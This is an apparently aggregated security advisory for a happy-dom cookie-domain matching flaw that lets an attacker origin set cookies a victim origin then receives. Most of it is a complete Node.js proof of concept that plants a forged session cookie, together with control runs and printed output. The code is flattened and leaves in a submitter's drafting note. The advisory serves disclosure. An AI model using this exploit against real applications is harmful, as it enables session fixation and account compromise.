VYPR
Medium severity6.5NVD Advisory· Published Oct 28, 2026· Updated Oct 28, 2026

Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies

CVE-2026-118661

Description

Summary

A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.

### Details happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.

PoC

Run: ``bash node poc-happydom-cookie-domain.js ``

Full proof-of-concept source (poc-happydom-cookie-domain.js): ``js // PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation // Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1) // -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1) // -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL) // -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie // Run: cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js const http = require('http'); const { Window } = require('happy-dom'); const ATK_PORT = 19311; // attacker server, 127.0.0.1 const VIC_PORT = 19312; // victim server, localhost let victimReceivedCookies = []; let attackerSetCookie = session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure; const attacker = http.createServer((req, res) => { if (req.method === 'OPTIONS') { // CORS preflight (happy-dom enforces same-origin policy with a preflight; the // attacker trivially answers it — an attacker-controlled server always can) res.writeHead(204, { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET, OPTIONS', 'Access-Control-Allow-Headers': '*' }); res.end(); return; } res.writeHead(200, { 'content-type': 'image/gif', 'Access-Control-Allow-Origin': '*', // Attacker claims Domain=localhost even though it is serving from 127.0.0.1. // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of // the request-host; localhost is also on the Mozilla PSL). 'Set-Cookie': attackerSetCookie }); res.end('GIF89a'); }); const victim = http.createServer((req, res) => { victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null }); res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ ok: true, user: 'alice' })); }); function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); } async function runScenario(scenario) { victimReceivedCookies = []; const win = new Window({ url: http://localhost:${VIC_PORT}/, settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true } }); try { if (scenario === 'no-plant-control') { // Control: app NEVER contacts attacker -> victim must receive NO cookie await win.fetch(http://localhost:${VIC_PORT}/api/account); } else if (scenario === 'honest-domain-control') { // Control: attacker sets Domain=127.0.0.1 (its own host, honest) // -> cookie must NOT leak to localhost victim attackerSetCookie = session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure; await win.fetch(http://127.0.0.1:${ATK_PORT}/plant); await win.fetch(http://localhost:${VIC_PORT}/api/account); } else { // attack: app fetches attacker content (scraping/SSR/third-party resource) await win.fetch(http://127.0.0.1:${ATK_PORT}/plant); await win.fetch(http://localhost:${VIC_PORT}/api/account); } await sleep(150); return victimReceivedCookies; } finally { win.happyDOM.abort(); } } async function main() { await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r)); await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r)); console.log('=== happy-dom cookie-domain scoping PoC ===\n'); const attack = await runScenario('attack'); console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)'); attack.forEach((e) => console.log( victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)})); const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER')); console.log( -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}); const noPlant = await runScenario('no-plant-control'); console.log('\n[CONTROL] app never contacts attacker'); noPlant.forEach((e) => console.log( victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)})); const honest = await runScenario('honest-domain-control'); console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only'); honest.forEach((e) => console.log( victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)})); // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects) const win2 = new Window({ url: http://localhost:${VIC_PORT}/, settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true } }); win2.document.cookie = admin=1; Domain=com; Path=/; // PSL public suffix! const readBack = win2.document.cookie; console.log(\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'); console.log( -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}); win2.happyDOM.abort(); // unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain) const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js'); const matchesBoundary = CookieURLUtility.cookieMatchesURL( { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' }, new URL('https://notexample.com/') ); console.log(\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}); console.log( -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match); attacker.close(); victim.close(); process.exit(0); } main().catch((e) => { console.error(e); process.exit(1); }); ``

Observed output (verbatim, Node 24.15.0, Windows): `` [UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match ``

Impact

Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.

Patches

Vulnerability mechanics

References

5

News mentions

0

No linked articles in our index yet.